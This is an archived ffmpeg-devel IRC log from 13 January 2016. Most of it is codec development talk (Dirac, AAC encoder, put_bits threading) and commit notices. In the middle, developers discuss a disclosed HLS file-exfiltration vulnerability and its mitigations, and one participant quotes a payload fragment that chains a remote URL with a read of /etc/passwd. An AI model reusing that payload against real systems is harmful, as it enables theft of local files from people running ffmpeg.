[Ffmpeg-devel-irc] ffmpeg-devel.log.20160113

[burek]

[00:00:23 CET] <michaelni> or various state machines that do multiple symbols at once (i think thats what the referenced code does but i didnt look too closly)
[00:01:33 CET] <michaelni> also its possible t merge the qoffset/qfactor into the used VLC/LUT which would avoid a * + >> and the seperate sign handling (it could all be done in te table at init time)
[00:02:16 CET] <michaelni> that would require 128 such tables though IIUC but in reallity probably only very few would see much use cpu cache wise
[00:03:12 CET] <kierank> i see
[00:05:24 CET] <kierank> I was thinking of removing the quantise and doing it in simd
[00:05:31 CET] <kierank> de-quant*
[00:07:01 CET] <michaelni> thats possible too, but it competes with doing it in the tables, question is which is faster. For 8x8 IDCTs in mpeg IIRC SIMD dequent is slower than doing it without SIMD but that was long ago
[00:07:28 CET] <michaelni> in mpeg the large number of 0 elements kill SIMDs advantage
[00:09:26 CET] <kierank> I see
[00:34:23 CET] <kierank> my suspicion at high bitrate dirac there won't be a lot of zeros
[00:36:36 CET] <atomnuker> depends on screen content
[00:37:23 CET] <atomnuker> at 3 level transforms images upscaled from 480 or 720 won't have much at all in the HH orientation of the last level
[00:38:19 CET] <kierank> those are most likely to have the zero end termination thing though
[00:41:27 CET] <atomnuker> well, they would have 1*right-left*bottom-top*levels*4 bits, all one
[00:42:04 CET] <atomnuker> without any padding and the 32ish bits used for quantization and padding signalling
[00:55:38 CET] <kierank> michaelni: also for transforms am I right in saying the inplace transform is just coefficient reordering?
[00:55:43 CET] <kierank> and no transform changes?
[00:57:27 CET] <kierank> and also is there a reason you didn't change the golomb read function to open the bitstream once per slice
[01:00:00 CET] <J_Darnley> Sometimes I really hate the amount of macros used in assmebly
[01:16:08 CET] <michaelni> kierank, yes, inplace vs non inplace is generally a matter of reordering
[01:16:32 CET] <kierank> interesting so I could write simd and then do the inplace reordering later?
[01:17:46 CET] <michaelni> i dont know the dirac code well enough to say that for certain
[01:18:30 CET] <michaelni> about opening the bitsteram reader just once per slice, that would be better yes
[01:19:04 CET] <michaelni> no reason why i didnt except not immedeatly seeing a pretty way to do it
[01:19:13 CET] <kierank> yeah it's not going to be pretty
[01:19:16 CET] <kierank> might just do it for hq
[01:30:20 CET] <J_Darnley> idontunderstandanyofthis
[02:05:07 CET] <J_Darnley> oh come on!  you shouldn't abuse t# for simd registers
[03:11:04 CET] <cone-117> ffmpeg 03Michael Niedermayer 07master:115fb6d03ef6: avformat/aviobuf: Fix end check in put_str16()
[03:11:04 CET] <cone-117> ffmpeg 03Michael Niedermayer 07master:9ca64c31d2f4: avutil/common: Protect GET_BYTE in GET_UTF8() by ()
[09:04:42 CET] <cone-514> ffmpeg 03Carl Eugen Hoyos 07master:d3fe2e0dc991: lavc/mjpeg2jpeg: Accept more mjpeg streams as input.
[09:29:04 CET] <omerjerk> Hi
[09:29:43 CET] <omerjerk> yesterday @durandal_170 mentioned about libavfilter GUI for possible GSoC project. 
[09:29:59 CET] <omerjerk> I'll keep it in mind.
[09:30:27 CET] <omerjerk> Any other ideas which I can think of, just in case ?
[09:44:16 CET] <wm4> the libavfilter gui idea was generally rejected
[09:44:40 CET] <wm4> there's a projects idea page on the wiki somewhere
[09:44:53 CET] <omerjerk> there is a wiki for gsoc 2015
[09:45:01 CET] <omerjerk> are you talking about that ?
[09:48:37 CET] <wm4> not sure didn't look myself
[09:51:07 CET] <durandal_1707> there is wiki on trac.ffmpeg.org
[09:53:40 CET] <durandal_1707> another idea is adding float pixel format to libswscale
[10:02:50 CET] <omerjerk> thanks :)
[10:07:57 CET] <wm4> wow what is this teletext thing
[10:09:23 CET] <wm4> that's more of a pain than you'd expect, and for such an outdated technology
[10:11:01 CET] <durandal_1707> teletext is outdated?
[10:13:04 CET] <durandal_1707> should the our vorbis encoder be removed?
[10:42:31 CET] <nevcairiel> outdated yes, but still in use anyway
[11:44:14 CET] <Fyr> hey guys, is it possible that this bug:
[11:44:14 CET] <Fyr> https://trac.ffmpeg.org/ticket/4905
[11:44:14 CET] <Fyr> has been already solved?
[11:51:01 CET] <wm4> if you can't reproduce it with exactly the same steps, it might be possible
[11:56:32 CET] <kierank> We need to reject ideas for gsoc asap
[11:56:40 CET] <kierank> Can't have this webserver thing happen again
[11:57:20 CET] <Compn> so start putting "keirank rejected" after each idea
[11:57:21 CET] <Compn> :)
[12:31:57 CET] <wm4> kierank: reuse the old ideas? some were even good
[12:32:24 CET] <kierank> The crap ones
[12:33:12 CET] <wm4> man, I read "reject" as "project"
[13:16:05 CET] <kierank> why is he adding teletext
[13:16:11 CET] <kierank> just use libzvbi for god's sake
[13:16:30 CET] <kierank> ffmpeg shouldn't be the place for analogue  processing
[13:20:04 CET] <bencoh> kierank: libzvbi is GPL, that might explain why
[13:20:14 CET] <kierank> er is it?
[13:20:26 CET] <kierank> https://github.com/kierank/libzvbi-obe-dev/blob/master/COPYING.LIB
[13:20:29 CET] <bencoh> "The Zapping VBI library, in short ZVBI, provides functions to capture and decode VBI data. It is written in plain ANSI C with few dependencies on other tools and libraries, licensed under GPL. Some features:"
[13:20:40 CET] <bencoh> maybe this isnt up-to-date?
[13:21:23 CET] <kierank> the lib is lgpl
[13:21:28 CET] <kierank> https://github.com/kierank/libzvbi-obe-dev/blob/master/src/libzvbi.h
[13:21:33 CET] <kierank> I've always based it off that
[13:22:21 CET] <bencoh> ah, nevermind then
[13:22:39 CET] <kierank> grr damn email client sending a blank email
[13:26:53 CET] <wm4> haha
[13:27:01 CET] <wm4> I just wondered about that
[13:27:49 CET] <kierank> his code isn't robust enough for the crazy analogue shit you  get
[13:49:02 CET] <ChALkeR> Is there a better work-around for now around that recent security issue than building with --disable-network?
[13:49:43 CET] <J_Darnley> Don't connect to a network?
[13:49:43 CET] <ChALkeR> more specfic: which workaround should the downstream (distros) apply?
[13:50:17 CET] <ChALkeR> J_Darnley: tell all users to don't connect to a network? =)
[13:50:26 CET] <ChALkeR> that's not a fix.
[13:50:32 CET] <J_Darnley> best way to keep safe
[13:50:41 CET] <ChALkeR> What do you mean?
[13:51:08 CET] <ChALkeR> I am asking how to prevent a specific security issue.
[13:51:29 CET] Action: J_Darnley admits he has no idea what you're talking about
[13:51:34 CET] <ChALkeR> not a «turn off the pc» type of thing
[13:52:31 CET] <ChALkeR> J_Darnley: an attacker could craft a malicious video file, any operation on which with ffmpeg (thumbnail creation, ffprobe, etc) will read a local file specified by the attacker and send it to a remote server owned by the attacker
[13:53:02 CET] <ChALkeR> that vulnerability is public, has code samples and instructions on how to build such a malicious video file
[13:53:31 CET] Action: J_Darnley knows nothing about that
[13:53:31 CET] <ChALkeR> it affects servers that use ffmpeg to probe uploaded videos and/or generate thumbnails
[13:53:51 CET] <ChALkeR> it also affects users that download the vide
[13:53:54 CET] <ChALkeR> *the video
[13:54:32 CET] <ChALkeR> opening the video is not even required in some situations  file manager (i.e. Dolphin) automatically generates thumbnails using ffmpeg, that is enough to execute that bug
[13:54:53 CET] <ChALkeR> desktop search indexer using ffmpeg to probe files also could be enough
[13:55:21 CET] <ChALkeR> that vulnerability is widely disclosed and as public as it could be
[13:55:35 CET] <kierank> ChALkeR: link?
[13:55:45 CET] Action: J_Darnley resists the urge to rant some more
[13:55:53 CET] <kierank> afaik for mp4 there is some filtering to stop that
[13:56:16 CET] <ChALkeR> kierank: http://habrahabr.ru/company/mailru/blog/274855/  original blog post is in Russian, use https://translate.google.com or https://translate.yandex.com
[13:57:04 CET] <ChALkeR> it has code samples
[13:57:51 CET] <ChALkeR> that blog post was at the index page of that site some time ago, and is now at page4 of that site
[13:57:56 CET] <ChALkeR> http://www.alexa.com/siteinfo/habrahabr.ru  alexa rating
[13:58:31 CET] <ChALkeR> So there is no reason to keep the discussion private.
[13:58:41 CET] <wm4> trickery with HLS
[13:59:49 CET] <funman> The developers of ffmpeg/libav alerted to the problem, I did and sent them a patch.
[14:00:13 CET] <wm4> "concat:http://dx.su/header.y4m|file:///etc/passwd" combine all the useless features
[14:00:17 CET] <wm4> and make a security hole
[14:00:44 CET] <ChALkeR> funman: I was pretty sure that they are informed by now =). The question is: what should the downstream do to mitigate this?
[14:01:09 CET] <ChALkeR> Is there any better solution than --disable-network for now?
[14:01:25 CET] <wm4> is this only with HLS or are there other cases?
[14:01:29 CET] <funman> --disable-protocol=hls ?
[14:02:10 CET] <ChALkeR> wm4: No idea.
[14:02:41 CET] <ChALkeR> funman: Does that cover everything? Is any other protocol affected?
[14:02:51 CET] <funman> yes, no
[14:03:11 CET] <wm4> (also I've never seen a report or a patch about this issue until now, even though I lurk this channel and the ML a lot)
[14:03:34 CET] <funman> i dont see maxim andreyev in the mailing lists either, maybe he sent the patch in private to somebody?
[14:04:04 CET] <ChALkeR> funman: Judging from that blog post and the comments, I doubt that he had taken any steps to contact ffmpeg devs.
[14:04:18 CET] <wm4> I think there's a secret security ML, but I'm not on it
[14:04:52 CET] <funman> highzeth: read the very last line of the post
[14:06:38 CET] <funman> UPD: patch/bug in ffmpeg/libav sent
[14:06:39 CET] <ChALkeR> funman: Ah. It wasn't there some time ago.
[14:06:42 CET] <funman> On the security@, so no link
[14:08:11 CET] <ChALkeR> funman: Looks like that line was added just recently =).
[14:14:42 CET] <nevcairiel> its less fun to post exploits if you first notify and wait for them to be fixed, isnt it =p
[14:29:48 CET] <ChALkeR> funman: Ah, it was added ~3 hours ago.
[14:46:23 CET] <durandal_1707> you mean fix for this is commited?
[14:53:26 CET] <nevcairiel> no
[14:56:24 CET] <atomnuker> so suppose I have a put bit context with some 20ish bytes written
[14:56:47 CET] <atomnuker> and suppose I want to write to the context in parallel
[14:57:02 CET] <nevcairiel> like, threads?
[14:57:06 CET] <atomnuker> yes
[14:57:06 CET] <Daemon404> i dont see how you can put bits parallel
[14:57:11 CET] <Daemon404> how would you even know what order
[14:57:21 CET] <nevcairiel> that sounds evil
[14:57:33 CET] <atomnuker> I know the exact size each thread should write
[14:57:36 CET] <durandal_1707> use multiple put bits
[14:57:58 CET] <nevcairiel> you could open multiple put_bits contexts offset into the buffer if its fixed size
[14:58:05 CET] <Daemon404> can put bits seek?
[14:58:08 CET] <nevcairiel> of course if you are not byte aligned you are screwed
[14:58:11 CET] <atomnuker> well, yes, I do that, I init a context for every thread
[14:58:13 CET] <Daemon404> nevcairiel, you still run into issues then
[14:58:16 CET] <atomnuker> everything is aligned
[14:58:19 CET] <Daemon404> but what if they overlap the same byte
[14:58:21 CET] <Daemon404> it wotn work
[14:58:31 CET] <atomnuker> everything is aligned.
[14:58:34 CET] <Daemon404> ah
[14:58:37 CET] <nevcairiel> Daemon404: he said he knows their writing size, so he should be able to set them up properly
[14:58:45 CET] <Daemon404> nevcairiel, only works if aligned
[14:58:48 CET] <Daemon404> but he said they are so.
[14:59:03 CET] <atomnuker> yes, but then what, my main put bit context still hasn't been seeked forward
[14:59:06 CET] <Daemon404> personally
[14:59:10 CET] <durandal_1707> write another, better API
[14:59:11 CET] <Daemon404> i think such an approach is a bit silly
[14:59:16 CET] <Daemon404> why nto just queue them for a single put bit
[14:59:21 CET] <Daemon404> put_bits is hardly a bottleneck
[14:59:22 CET] <nevcairiel> atomnuker: there is skip_put_bytes/bits
[14:59:24 CET] <atomnuker> and I can't call put_bits_seek or put_bits_flush since they'll screw everything up
[14:59:55 CET] <atomnuker> seek requires calling flush before that which just fills the whole thing with junk
[15:00:10 CET] <Daemon404> skip_bts should work
[15:00:13 CET] <Daemon404> or whatever it's called
[15:00:18 CET] <Daemon404> i dont think it flushes
[15:00:21 CET] <Daemon404> but see what i said above
[15:01:01 CET] <Daemon404> (alternatively, just init a new context with buf+offset)
[15:01:17 CET] <atomnuker> the problem is I'm writing badly optimized golomb so to get decent performance I need to thread that
[15:01:22 CET] <nevcairiel> you probably need to flush+align the main context before going into the threads to avoid funnyness
[15:35:57 CET] <durandal_1707> is it time to switch to lgpl3?
[15:49:59 CET] <kierank> durandal_1707: no
[15:50:04 CET] <kierank> is that a troll
[15:50:49 CET] <durandal_1707> no, why would it be
[15:51:09 CET] <durandal_1707> qt is switching
[15:51:34 CET] <JEEB> because they have a corporate licensing offer?
[15:51:51 CET] <JEEB> and thus they want to have stuff that people can't put into plastic boxes
[15:52:07 CET] <JEEB> (with LGPLv3 that is)
[15:58:10 CET] <durandal_1707> we should too
[15:58:45 CET] <kierank> really?
[15:58:52 CET] <kierank> no more ffmpeg in a smart-tv
[15:58:59 CET] <kierank> for example
[16:00:50 CET] <durandal_1707> yes, exactly
[16:01:04 CET] <Mavrik> Let's pull a GCC! ;)
[16:02:10 CET] <J_Darnley> Cue a fork from the last lgpl2 commit
[16:03:02 CET] <J_Darnley> (don't get me wrong, I'm all for the tivo-clause)
[16:03:44 CET] <kierank> durandal_1707: you don't want people using ffmpeg?
[16:04:27 CET] <kierank> they'll use libvlc instead
[16:05:58 CET] <kierank> should we do outreachy btw?
[16:12:17 CET] <wm4> doesn't the ffmpeg license say "or later"
[16:14:12 CET] <durandal_1707> they already use libvlc
[16:14:38 CET] <kierank> yes for demuxing
[16:14:46 CET] <kierank> they'll drop ffmpeg altogether
[16:19:44 CET] <wm4> who uses libvlc for demuxing and ffmpeg for decoding?
[16:23:15 CET] <bencoh> people that need libvlc for whatever reason but still need a (software) decoder
[16:23:46 CET] <bencoh> they might use libvlc as a "player" library
[16:24:04 CET] <bencoh> (and use the default internal demux for supported streams)
[16:26:57 CET] <cone-219> ffmpeg 03Claudio Freire 07master:2a31b076b444: AAC encoder: fix assertion error with prediction
[16:26:58 CET] <cone-219> ffmpeg 03Claudio Freire 07master:00d481b2c375: AAC encoder: avoid assertion failure on PNS
[16:26:59 CET] <cone-219> ffmpeg 03Claudio Freire 07master:509f16801746: AAC encoder: don't apply MS on special bands
[16:27:00 CET] <cone-219> ffmpeg 03Claudio Freire 07master:4dcb69cc12d0: AAC encoder: in IS, fix index of sf_idx, band_type
[16:27:01 CET] <cone-219> ffmpeg 03Claudio Freire 07master:6711aa21e263: AAC encoder: various fixes in M/S coding
[16:27:02 CET] <cone-219> ffmpeg 03Claudio Freire 07master:aa64a483575b: AAC encoder: fix I/S relative error evaluation
[16:27:03 CET] <cone-219> ffmpeg 03Claudio Freire 07master:699c2ee56053: AAC encoder: encode out-of-phase I/S efficiently
[16:27:53 CET] <kierank> wm4: they don't use ffmpeg that's the point for decoding
[16:27:55 CET] <kierank> they have a hardware decoder
[16:33:46 CET] <fritsch> a hw decoder does not decode all formats
[16:33:55 CET] <nevcairiel> like a  TV producer cares
[16:34:06 CET] <nevcairiel> they just print a list of supported formats and call it a day
[16:35:40 CET] <fritsch> what I found yesterday on our forum
[16:35:45 CET] <fritsch> a reencode hevc 10 bit bluray to:
[16:36:06 CET] <fritsch> to: AVC High 10 at L5.2
[16:36:14 CET] <fritsch> they in deed recoded the bluray to hi10p ...
[16:36:20 CET] <fritsch> in 4k
[16:36:38 CET] <fritsch> so even the "scene" (how they call themselves) don't care if anyone can watch their content
[16:37:30 CET] <nevcairiel> the real scene has pretty strict rules on what can be used, but there are a bunch of things on the side of it that just encode in whatever the hell they want
[16:37:34 CET] <nevcairiel> like the anime people
[16:38:03 CET] <fritsch> i think that was an anime guy wanting to switch sites :-)
[16:38:05 CET] <fritsch> sides
[16:38:31 CET] <nevcairiel> anime has used avc hi10p for ages, they dont care about hardware decoders
[16:39:07 CET] <JEEB> there's people and companies that provide hw compatible encodes anyways :P
[16:40:17 CET] <iive> anime groups are completely separate from the "scene"
[16:40:27 CET] <JEEB> and many forget that for quite a while plastic DVD player boxes only supported MPEG-4 Part 2, so you'd get scorn for using AVC
[16:40:45 CET] <iive> they are also the first to try new things and adopt new formats.
[16:40:46 CET] <JEEB> nowadays not using AVC would just be labled dumb
[16:41:51 CET] <JEEB> iive: basically the benefits of 10bit AVC were known and people were *really* eager to make test encodes in 2010 or so. nowadays it's just become the thing to use in the now-really-dead fansubbing scene
[16:42:06 CET] <iive> fritsch: btw, does bluray support hevc already?
[16:42:16 CET] <JEEB> there's seemingly an agreement on the new format
[16:42:23 CET] <JEEB> haven't seen any specs or discs
[16:42:23 CET] <nevcairiel> iive: the UHD Blu-ray standard does, but there are no devices or discs yet
[16:43:26 CET] <fritsch> iive: you can buy it a amazon, will be shipped march 1 st
[16:43:42 CET] <fritsch> nevcairiel: check amazon, they started 5 days ago with the first ~ 30 titles
[16:43:49 CET] <JEEB> ok
[16:43:51 CET] <fritsch> intel should speed up with broxton
[16:44:13 CET] <nevcairiel> fritsch: my industry contacts said that UHD playback devices are "delayed" =p
[16:44:16 CET] <wm4> they have enough CPUs that can decode it in software, lol
[16:44:20 CET] <fritsch> nevcairiel: hehe
[16:44:34 CET] <fritsch> i got a sample of this hi10p 4k encoding ...
[16:44:42 CET] <fritsch> i can share it if you want a "dumpest encoding ever" file
[16:45:15 CET] <fritsch> https://www.dropbox.com/s/bjf7yywuei0o9i8/sampleForFritsch.mkv?dl=0
[16:45:16 CET] <nevcairiel> its not that special, i'm sure i have a 4k 444 10-bit encode somewhere
[16:45:18 CET] <JEEB> pretty sure that's not from a blu-ray, but rather one of the UHD HEVC channels. the Japanese one airs 10bit and has IIRC aired docus and movies
[16:45:51 CET] <fritsch> JEEB: Bram Stoker's Dracula (1992) - Release for ULTRAHDCLUB <- google that
[16:46:10 CET] <JEEB> (´4@) not interested enough tbqh
[16:46:36 CET] <iive> just tell us how big is that thing.
[16:46:38 CET] <fritsch> http://www.amazon.com/Bram-Stokers-Dracula-Ultra-HD/dp/B00Q2KG5CO <- amazon
[16:46:42 CET] <fritsch> 100 MB
[16:46:49 CET] <fritsch> the sample I linked
[16:46:59 CET] <fritsch> it's a 100 MB dd of that file I requested from the user
[16:47:05 CET] <fritsch> that whined it would not be playable on his core i3
[16:47:15 CET] <iive> oh...
[16:47:38 CET] <fritsch> amazon's compatible devices mention: Fire HD 10
[16:47:40 CET] <JEEB> it'd be even less playable with the sw HEVC decoder to be honest :P
[16:48:06 CET] <fritsch> and "Apple iPhone ios 7"
[16:48:07 CET] <fritsch> haha
[16:48:08 CET] <iive> encoding whole bd into 100mb would be remarkable achievement ;)
[16:48:17 CET] <fritsch> haha
[16:48:24 CET] <fritsch> nope, i told him to dd me a sample
[16:48:30 CET] <fritsch> that I see it with my own eyes
[16:48:37 CET] <JEEB> iive: you can encode a 24min episode of an animoo series into floppy size if you want to :P
[16:48:44 CET] <JEEB> getting it small really isn't the issue IMHO
[16:48:48 CET] <iive> 16x16?
[16:48:50 CET] <J_Darnley> Didn't someone once encode BBB into 1 megabyte?
[16:49:07 CET] <JEEB> iive: you can get much more resolution out of that :P
[16:49:22 CET] <JEEB> given that blocks are 16x16 and you can use cheap modes for it
[16:49:30 CET] <J_Darnley> I think I'm misremembering, it was probably 1Mbit
[16:50:03 CET] <JEEB> in the meaning that if you go down enough x264 will basically start throwing away some detail to make it more simply decode'able
[16:50:06 CET] <Compn> the 100gb bluray discs wont play in current players. you need the new hardware that can handle it...
[16:50:08 CET] <JEEB> uhh, encode'able
[16:50:19 CET] <iive> i remember somebody encoding anime at 16x16, with bitrate that allows transimition over dialup.
[16:50:51 CET] <J_Darnley> Compn: really?
[16:50:52 CET] <JEEB> sure, that was done back in the day with 180p or so?
[16:51:18 CET] <JEEB> esp. if it was OK to make it not VBV'd
[16:51:31 CET] <JEEB> if you had to VBV you'd probably make it a bit less good
[16:52:15 CET] <JEEB> but yeah, unless you're trying to 1080p30 at like 192kbps or so in which case headers etc are starting to cost quite a bit, you can have x264 hit your desired sizes pretty well
[16:52:20 CET] <atomnuker> klaussfreire: nice
[16:54:37 CET] <bencoh> JEEB: did you say they air 10bit in japan?
[16:54:47 CET] <JEEB> HEVC, yes
[16:54:57 CET] <JEEB> there's like one channel that airs it atm, or two
[16:54:57 CET] <bencoh> ah, okay
[16:55:11 CET] <nevcairiel> there is test stations on most satellites that air hevc 10
[16:55:13 CET] <JEEB> funny enough at least one airs BT.2020
[16:55:25 CET] <JEEB> nevcairiel: this isn't at least test any more
[16:55:32 CET] <JEEB> I think they were in test mode circa 2014
[16:56:55 CET] <atomnuker> NASA has a 4K HEVC stream on some microwave band AFAIK
[16:59:07 CET] <fritsch> astra has a channel hevc 10 bit 4k
[16:59:09 CET] <fritsch> already
[16:59:21 CET] <fritsch> ouh nevcairiel said that
[16:59:40 CET] <fritsch> here is a recording of that astra channel: http://fritsch.fruehberger.net/samples/future-live-tv-hevc-10bit.ts
[16:59:48 CET] <JEEB> yes, also IIRC that started airing after the one I mentioned :P but yes, at this point there's plenty of those.
[17:01:36 CET] <nevcairiel> i have recordings from astra, eutelsat, hispasat and the japanese thing
[17:02:04 CET] <nevcairiel> eutel and hispa are 8-bit for some reason, maybe not final product
[17:02:25 CET] <fritsch> yeah also seen some 8 bit hevc stations
[17:02:32 CET] <fritsch> those are the intel compatible ones
[17:02:43 CET] <fritsch> or pre S912C amlogic
[17:10:01 CET] <cone-219> ffmpeg 03Kieran Kunhya 07master:bfc8a4dabe5a: diracdec: Add slice threading to HQ profile
[17:54:25 CET] <durandal_1707> kierank: for what you use dirac?
[17:54:42 CET] <kierank> various evil broadcast things
[17:55:43 CET] <Daemon404> evil? like itv?
[17:55:50 CET] <durandal_1707> evil in what sense?
[17:58:28 CET] <kierank> durandal_1707: cpu light codec
[17:58:38 CET] <kierank> high bitrate
[17:58:57 CET] <gajjanag> michaelni: wrt ffmpeg_opt patch, "proper" thing is to check eof at each fgets, close if io error (with message) instead of checking just fclose, should I do this?
[18:02:43 CET] <durandal_1707> ah the mit guy is here, let's troll him
[18:06:34 CET] <cone-219> ffmpeg 03Michael Niedermayer 07master:0634c5425306: avcodec/aacenc: Fix NAN check
[18:06:35 CET] <cone-219> ffmpeg 03Michael Niedermayer 07master:9006567bae4a: avcodec/aacenc: mark output as const as its not written to
[18:10:47 CET] <michaelni> gajjanag, yes checking syntax & premature EOF would probably be the proper thing to do
[18:15:46 CET] <gajjanag> michaelni, thanks, will amend. Just checking if the code complexity is fine
[18:17:34 CET] <gajjanag> all: I will be mostly without net for 2 weeks starting Friday. For any regressions/other issues with stuff I did, please send private email, will try my best
[18:18:26 CET] <gajjanag> will push all my stuff to github on Friday; nothing interesting
[18:21:33 CET] <gajjanag> before next release, would like to see rint64_clip exported, not important, just that we bumped version for it
[18:23:31 CET] <durandal_1707> hmm does it starts with av?
[18:26:20 CET] <barthalion> hey folks
[18:26:41 CET] <barthalion> we (as in arch) have received a bug report linking to this: https://news.ycombinator.com/item?id=10893301
[18:27:09 CET] <J_Darnley> Yes, we heard.  The OP there wqas here earlier
[18:27:59 CET] <barthalion> great  in the meantime before patch is available, is there something better than disabling networking in our build?
[18:28:46 CET] <J_Darnley> I suggested not connecting to a network.  Other suggested disabling HLS.
[18:29:51 CET] <gajjanag> durandal_1707: it was av_rint64_clip, but regressed on broken platforms (msvc here), so moved to ff_ in lavu/internal in 5c3dee7dad
[18:47:47 CET] <philipl> fritsch: So this new chromcast-in-chromium announcement means they'll actually publish code showing how to do casting. Is that interesting for you?
[18:48:08 CET] <gajjanag> klaussfreire: there is a trivial aacenc_is one liner I posted, can you please examine?
[18:50:07 CET] <klaussfreire> On the ML?
[18:50:37 CET] <gajjanag> yes
[18:51:14 CET] <gajjanag> https://ffmpeg.org/pipermail/ffmpeg-devel/2016-January/186936.html
[18:52:39 CET] <klaussfreire> Oh, I usually search "aac" on the -devel list and check those messages earlier, it seems doing that skips mentions of "aacenc", not sure why. I guess I'll have to also search for aacenc from now on.
[18:52:41 CET] <klaussfreire> I'll take a look
[18:53:15 CET] <atomnuker> gajjanag: I saw that one but I forgot to post
[18:53:38 CET] <atomnuker> does it actually increase performance?
[18:54:18 CET] <atomnuker> because I think pow(x, 3.0/2.0) or pow(x, 0.75) looks cleaner
[18:55:19 CET] <atomnuker> the function gets called on every single scalefactor band (128 at most) but I doubt replacing pow with 2 sqrts has much of an impact
[19:00:11 CET] <gajjanag> @atomnuker: don't know, doubt it does. On the other hand using the double sqrt(sqrt()) will have less variation across libm's; pow is notoriously hard to get right
[19:00:49 CET] <gajjanag> (if that matters)
[19:08:13 CET] <klaussfreire> I believe it may decrease fp error on some platforms. MIPS for instance.
[19:08:26 CET] <klaussfreire> So it's probably a good idea
[19:12:27 CET] <atomnuker> yeah, our FATE fuzz values are already too high
[19:12:48 CET] <gajjanag> atomnuker: so here are some benches dug up just now
[19:13:14 CET] <gajjanag> sqrtf(sqrtf)): 74154 deci, 4096 runs
[19:13:40 CET] <gajjanag> sqrt(sqrt)): 75951 deci, 4096 runs
[19:13:56 CET] <gajjanag> pow: 79034 deci, 4096 runs
[19:14:44 CET] <gajjanag> all fate-aac-is-encode, timer around the two calls to ff_aac_is_encoding_err
[19:17:37 CET] <iive> may i ask basic math question? ... how do you get pow(x, .75) with 2 sqrt?
[19:19:28 CET] <c_14> sqrt(sqrt(x * x * x))
[19:19:31 CET] <iive> you need to also power of 3?
[19:20:01 CET] <klaussfreire> x * sqrt(sqrt(x)) = x * x^(-1/4) = x^(1-1/4) = x^(3/4) = x^(0.75)
[19:20:19 CET] <iive> so the above benchmark is not complete
[19:21:04 CET] <iive> the line above with pow(3/2) kind of confused me. pow(3/4) makes sense.
[19:21:09 CET] <c_14> klaussfreire: don't you mean sqrt(x * sqrt(x))
[19:21:37 CET] <c_14> You can factor x^2 out of the first sqrt
[19:21:46 CET] <c_14> you can't drag it out of the second
[19:23:17 CET] <klaussfreire> Sorry, I should have said x / sqrt(sqrt(x))
[19:23:55 CET] <klaussfreire> Wolfram agrees: http://www.wolframalpha.com/input/?i=x%2Fsqrt%28sqrt%28x%29%29
[19:24:15 CET] <c_14> Ye, that'll work.
[19:24:26 CET] <c_14> I don't know which of those the compiler will optimize the best though&
[19:24:42 CET] <klaussfreire> I don't think it'll be faster, but it may be more accurate
[19:25:05 CET] <klaussfreire> pow has to go through log, which I believe suffers from accuracy problems in some implementations
[19:25:33 CET] <gajjanag> @cc_14: sqrt(x * sqrt(x)) is likely slightly faster than x/sqrt(sqrt(x)), as it lacks a divide
[19:26:28 CET] <klaussfreire> And it has the benefit of being the expression used in other places, so I think that one is preferrable
[19:28:04 CET] <gajjanag> @klaussfreire: which to use, sqrt(x * sqrt(x)) or sqrtf(x * sqrtf(x))?
[19:28:30 CET] <cone-219> ffmpeg 03Michael Niedermayer 07master:da144c2ddd8c: avcodec/diracdec: Inline svq3_get_ue_golomb() and merge the sign bit decoding into it
[19:28:31 CET] <cone-219> ffmpeg 03Michael Niedermayer 07master:bbd977162590: avcodec/diracdec: Factor +2 out of the inner loop
[19:28:32 CET] <cone-219> ffmpeg 03Michael Niedermayer 07master:39fb3f18c52d: avcodec/diracdec: Handle the 0 vlc case at the top of coeff_unpack_golomb()
[19:29:08 CET] <BBB> gajjanag: depends on whether x is a float or not / whether the output variable is float or not
[19:29:44 CET] <gajjanag> @BBB: output is a float, input is a float, but this by no means guarantees sqrtf(x * sqrtf(x)) is correctly rounded
[19:29:45 CET] <klaussfreire> It's almost all floats, I don't remember any double
[19:30:06 CET] <klaussfreire> But yeah
[19:30:10 CET] <gajjanag> this is why one may want to use sqrt(x*sqrt(x))
[19:30:37 CET] <gajjanag> (still not guaranteed; but practically will be)
[19:30:43 CET] <klaussfreire> It's about energies, I don't believe it matters much if the error is 1 or 2ulp
[19:31:37 CET] <gajjanag> @klaussfreire: it can't, at least in the sense of fate since a libm may easily be off by such amounts. Just giving for completeness and awareness ;)
[19:33:22 CET] <atomnuker> well, the rest of the code uses sqrtf(a * sqrtf(a))
[19:33:49 CET] <atomnuker> (at least the 1 other place which raises to 0.75 anyway)
[19:34:54 CET] <J_Darnley> Now that I've read that big scary bug story I am less worried than I was.  It only affect people who make output files available to the world.
[19:35:18 CET] <gajjanag> @atomnuker: all right, seems good to go in with this then? will add a bench to the message
[19:36:35 CET] <atomnuker> gajjanag: sounds good
[19:38:27 CET] <Compn> J_Darnley : thats what it said at 100gb bd disk at amazon...
[19:38:49 CET] <Compn> J_Darnley : like the diff between dvd and dvd dual layer or dvd-r vs dvd+r ... different stupid drive required.
[19:39:29 CET] <J_Darnley> + vs - is/was stupid but I think all drives could read all
[19:39:57 CET] <Compn> they made drives that were both compatable later iirc
[19:40:07 CET] <Compn> i have old dvdrom drives, i doubt they will read much.
[19:40:30 CET] <J_Darnley> perhaps my drives were always too new
[19:41:05 CET] <J_Darnley> I am chuckling though.  My brother just bought a BD player and BD drive.
[19:41:42 CET] <Compn> only bluray hardware i have is a player i pulled out of the trash...
[19:41:56 CET] <Compn> and a 3d bluray disc i bought for testing at a garage sale
[19:42:17 CET] <Compn> got 5 or 6 laserdisk and beta players though :D
[19:42:45 CET] Action: Compn hucks a laserdisc at J_Darnley
[19:43:57 CET] <J_Darnley> Praise laserdisc!
[19:44:05 CET] <J_Darnley> It saved the original cuts of Star Wars
[20:36:05 CET] <tmm1> ubitux: could you commit some of these patches that anshul signed off on
[21:02:59 CET] <llogan> i don't understand help requests via twitter.
[21:03:08 CET] <llogan> ...100 messages later
[21:22:48 CET] <Daemon404> llogan, simple: direct them to a proper venue
[21:22:52 CET] <Daemon404> 140 chars is not enough
[21:23:02 CET] <JEEB> pretty much
[21:28:07 CET] <llogan> yeah, that's what i always do.
[21:29:30 CET] <llogan> but i don't think these "kids" will understand the concept of mailing lists
[21:29:49 CET] <Daemon404> llogan, ... bug trackers?
[21:30:04 CET] <Daemon404> even the cool kids need bug trackers of some sort
[22:33:07 CET] <BBB> llogan: stackoverflow
[23:27:54 CET] <cone-219> ffmpeg 03James Almer 07master:17e7fdf61a04: avcodec/wavpackenc: print channel count in av_log call
[23:53:43 CET] <cone-219> ffmpeg 03Michael Niedermayer 07master:92465a2347d9: avcodec/aacenc: Check for +-Inf too
[00:00:00 CET] --- Thu Jan 14 2016